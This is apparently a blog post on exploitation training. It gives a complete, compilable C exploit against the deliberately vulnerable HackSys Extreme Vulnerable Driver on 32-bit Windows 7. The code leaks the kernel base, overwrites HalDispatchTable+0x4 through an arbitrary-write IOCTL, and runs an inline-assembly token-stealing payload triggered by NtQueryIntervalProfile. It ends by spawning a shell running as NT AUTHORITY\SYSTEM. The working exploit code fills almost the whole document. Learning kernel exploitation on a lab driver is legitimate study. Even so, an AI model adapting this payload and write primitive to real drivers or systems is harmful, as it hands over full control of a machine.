#include <Windows.h> #include <Psapi.h> #include <stdio.h> #include <tchar.h> #define ARRAY_SIZE 1024 INT main(void) { LPVOID drivers[ARRAY_SIZE]; DWORD cbNeeded; if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) { TCHAR szdriver[ARRAY_SIZE]; int cdriver = cbNeeded / sizeof(drivers[0]); printf("[#] There are %d drivers.\n", cdriver); for (int i = 0; i < cdriver; i++) { if (GetDeviceDriverBaseName(drivers[i], szdriver, sizeof(szdriver) / sizeof(szdriver[0]))){ _tprintf(TEXT("[#] Driver address : 0x%p , Driver Name : %s \n"), drivers[i], &szdriver); } else { printf("[!] GetDeviceDriverBaseName Error....\n"); } } } else { printf("[!] EnumDeviceDriver Failed .....\n"); } }

The Output will be something like this (your address may be different)



NOTE: Your system may have different kernel executable loaded by system depending on the RAM and the CPU cores. You can take a look here ntoskrnl.exe 
for checking about SMP and PAE.
Now we compare the drivers name with ntkrnlpa.exe to find the base address of the kernel.

#include <Windows.h>
#include <Psapi.h>
#include <stdio.h>
#include <tchar.h>

#define ARRAY_SIZE 1024

INT main(void)
{
	LPVOID drivers[ARRAY_SIZE];
	DWORD cbNeeded;

	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {

		TCHAR szdriver[ARRAY_SIZE];
		int cdriver = cbNeeded / sizeof(drivers[0]);

		printf("[#] There are %d drivers.\n", cdriver);
		for (int i = 0; i < cdriver; i++) {

			if (GetDeviceDriverBaseName(drivers[i], szdriver, sizeof(szdriver) / sizeof(szdriver[0]))){
				if (!_tcscmp(szdriver,_T("ntkrnlpa.exe"))) {
					_tprintf(TEXT("[#####] %d : %s found at : 0x%p\n"),i+1, &szdriver, drivers[i]);
					break;
				}
				else {
					printf("[!!] Doesn't found ntoskrnl.exe\n");
				}
			}
			else {
				printf("[!] GetDeviceDriverBaseName Error....\n");
			}
		}
	}
	else {
		printf("[!] EnumDeviceDriver Failed .....\n");
	}


Now , we will use LoadLibrayExA API to load ntoskrnl.exe  and get the offset of HalDispatchTable  using GetProcAddress, then add the kernel base address to it .
 #include <Windows.h>
#include <Psapi.h>
#include <stdio.h>
#include <tchar.h>

#define ARRAY_SIZE 1024

INT main(void)
{
	LPVOID drivers[ARRAY_SIZE];
	LPVOID kBase = NULL;
	DWORD cbNeeded;

	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {

		TCHAR szdriver[ARRAY_SIZE];
		int cdriver = cbNeeded / sizeof(drivers[0]);

		printf("[#] There are %d drivers.\n", cdriver);
		for (int i = 0; i < cdriver; i++) {

			if (GetDeviceDriverBaseName(drivers[i], szdriver, sizeof(szdriver) / sizeof(szdriver[0]))) {
				if (!_tcscmp(szdriver, _T("ntkrnlpa.exe"))) {
					_tprintf(TEXT("[#####] %d : %s found at : 0x%p\n"), i + 1, &szdriver, drivers[i]);
					kBase = drivers[i];
					break;
				}
				else {
					printf("[!!] Doesn't found ntoskrnl.exe\n");
				}
			}
			else {
				printf("[!] GetDeviceDriverBaseName Error....\n");
			}
		}
	}
	else {
		printf("[!] EnumDeviceDriver Failed .....\n");
	}

	//HMODULE kUsermode = NULL;
	HMODULE kUsermode = LoadLibraryExA("ntkrnlpa.exe",
		NULL, DONT_RESOLVE_DLL_REFERENCES);

	if (!kUsermode) {
		printf("[#]Failed to load ntoskrnl.exe\n");
		exit(EXIT_FAILURE);
	}

	LPVOID HalDispatchTable = NULL;

	HalDispatchTable = (LPVOID)GetProcAddress(kUsermode, "HalDispatchTable");

	if (!HalDispatchTable) {
		printf("Error Resolving HalDispatchTable \n");
	}

	HalDispatchTable = (LPVOID)((ULONG_PTR)HalDispatchTable - (ULONG_PTR)kUsermode);

	HalDispatchTable = (LPVOID)((ULONG_PTR)HalDispatchTable + (ULONG_PTR)kBase);

	printf("HalDispatchTable : 0x%p\n", HalDispatchTable);

}

Lets check the value with windbg debugger.



Nice, Both the values are same in debugger as well as in our code.

 Final Payload

The final exploit after adding the token stealing payload that we used in the our previous blog but this time we don't need the kernel recovery stub because we are not overwriting any return address here .

#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <tchar.h>
#include <stdio.h>

// device path
#define HEVD_PATH "\\\\.\\HackSysExtremeVulnerableDriver"

//define IOCTL using CTL macro
#define IOCTL(function) CTL_CODE(FILE_DEVICE_UNKNOWN, function, METHOD_NEITHER, FILE_ANY_ACCESS)

//IOCTL for Arbitrary Write
#define AAW_IOCTL_NUMBER IOCTL(0x802)

//drivers array size
#define ARRAY_SIZE 1024

// AAW struct
typedef struct WRITE_WHAT_WHERE
{
	PULONG_PTR What;
	PULONG_PTR Where;
}WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

// NtQueryIntervalProfile function 
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval);

NtQueryIntervalProfile_t NtQueryIntervalProfile; 

#define KTHREAD_OFFSET     0x124  // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET    0x050  // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET         0x0B4  // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET       0x0B8  // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET       0x0F8  // nt!_EPROCESS.Token
#define SYSTEM_PID         0x004  // SYSTEM Process PID

//Token Stealing payload

VOID TokenStealingPayload() {
	__asm {
		pushad								; Save registers state

		; Start of Token Stealing Stub

		xor eax, eax						        ; Set ZERO
		mov eax, fs: [eax + KTHREAD_OFFSET]                             ; Get nt!_KPCR.PcrbData.CurrentThread
										; _KTHREAD is located at FS : [0x124]

		mov eax, [eax + EPROCESS_OFFSET]	                        ; Get nt!_KTHREAD.ApcState.Process

		mov ecx, eax						        ; Copy current process _EPROCESS structure

		mov edx, SYSTEM_PID					        ; WIN 7 SP1 SYSTEM process PID = 0x4

		SearchSystemPID:
			mov eax, [eax + FLINK_OFFSET]	                        ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
			sub eax, FLINK_OFFSET
			cmp[eax + PID_OFFSET], edx                              ; Get nt!_EPROCESS.UniqueProcessId
			jne SearchSystemPID

		mov edx, [eax + TOKEN_OFFSET]		                        ; Get SYSTEM process nt!_EPROCESS.Token
		mov [ecx + TOKEN_OFFSET], edx		                        ; Replace target process nt!_EPROCESS.Token
										; with SYSTEM process nt!_EPROCESS.Token
		; End of Token Stealing Stub

		popad								; Restore registers state
	}
}

INT main(void)
{
	//KASLR BYPASS
	PVOID drivers[ARRAY_SIZE];
	LPVOID kBase = NULL;
	DWORD cbNeeded;

	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {

		TCHAR szdriver[ARRAY_SIZE];
		int cdriver = cbNeeded / sizeof(drivers[0]);

		printf("[#] There are %d drivers.\n", cdriver);
		for (int i = 0; i < cdriver; i++) {

			if (GetDeviceDriverBaseName(drivers[i], szdriver, sizeof(szdriver) / sizeof(szdriver[0]))) {
				if (!_tcscmp(szdriver, _T("ntkrnlpa.exe"))) {
					_tprintf(TEXT("[#####] %d : %s found at : 0x%p\n"), i + 1, &szdriver, drivers[i]);
					kBase = drivers[i];
					break;
				}
				else {
					printf("[!!] Doesn't found ntoskrnl.exe\n");
				}
			}
			else {
				printf("[!] GetDeviceDriverBaseName Error....\n");
			}
		}
	}
	else {
		printf("[!] EnumDeviceDriver Failed .....\n");
	}

	// Loading ntkrnlpa.exe 

	HMODULE kUsermode = LoadLibraryExA("ntkrnlpa.exe",
		NULL, DONT_RESOLVE_DLL_REFERENCES);

	if (!kUsermode) {
		printf("[#]Failed to load ntkrnlpa.exe\n");
		exit(EXIT_FAILURE);
	}

	LPVOID HalDispatchTable = NULL;

	HalDispatchTable = (LPVOID)GetProcAddress(kUsermode, "HalDispatchTable");

	if (!HalDispatchTable) {
		printf("Error Resolving HalDispatchTable \n");
	}

	// Subtracting Usermode Address
	HalDispatchTable = (LPVOID)((ULONG_PTR)HalDispatchTable - (ULONG_PTR)kUsermode);

	// Adding kernel Base
	HalDispatchTable = (LPVOID)((ULONG_PTR)HalDispatchTable + (ULONG_PTR)kBase);

	printf("HalDispatchTable : 0x%p\n", HalDispatchTable);

	//We want the address of HalDispatch Table + 0x4
	HalDispatchTable = (LPVOID)((ULONG_PTR)HalDispatchTable + 0x4);

	//Open handle to HEVD
	HANDLE h = CreateFileA(HEVD_PATH,
		FILE_READ_ACCESS | FILE_WRITE_ACCESS,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
		NULL);

	if (h == INVALID_HANDLE_VALUE) {
		printf("[!] Failed to Open handle to HEVD\n");
	}
	else {
		printf("[#] Successfully opened handle to HEVD...\n");
	}

	PWRITE_WHAT_WHERE writewhatwhere ;
	writewhatwhere = (PWRITE_WHAT_WHERE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WRITE_WHAT_WHERE));

	if (!writewhatwhere) {
		printf("[!] Failed to allocate memory for writewhatwhere\n");
	}

	PVOID EopPayload = &TokenStealingPayload;

	printf("[#] Address of EopPaylod : 0x%p\n", EopPayload);

	writewhatwhere->What = (PULONG_PTR) &EopPayload;
	writewhatwhere->Where = (PULONG_PTR)HalDispatchTable;

	ULONG BytesReturned;
	//Caling AAW IOCTL handler
	BOOL ret = DeviceIoControl(h,
		AAW_IOCTL_NUMBER,
		(LPVOID)writewhatwhere,
		(DWORD)sizeof(WRITE_WHAT_WHERE),
		NULL,
		0,
		&BytesReturned,
		NULL);

	if (ret) {
		printf("[#] IOCTL opened Successfully...\n");
	}
	else {
		printf("[!] Error Opening IOCTL\n");
	}

	//Call NtQueryIntervalProfile to call HalDispatchTable + 0x4

	HMODULE ntdll = NULL;
	ntdll = LoadLibraryA("ntdll.dll");

	if (!ntdll) {
		printf("Failed to open handle to ntdll.dll\n");
		exit(EXIT_FAILURE);
	}

	NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(ntdll, "NtQueryIntervalProfile");


	// Executing shellcode
	ULONG Interval = 0;
	NtQueryIntervalProfile(0x1337, &Interval);
`               HeapFree(GetProcessHeap(), 0, (LPVOID)writewhatwhere);

	writewhatwhere = NULL;

	printf("[###] Spawning nt authority/shell \n");

	system("cmd.exe");

	return EXIT_SUCCESS;
}
Finally after calling NtQueryIntervalProfile , our payload get executed.

SHELL(NT AUTHORITY/SYSTEM)


We became the NT AUTHORITY/SYSTEM.


Thanks . Peace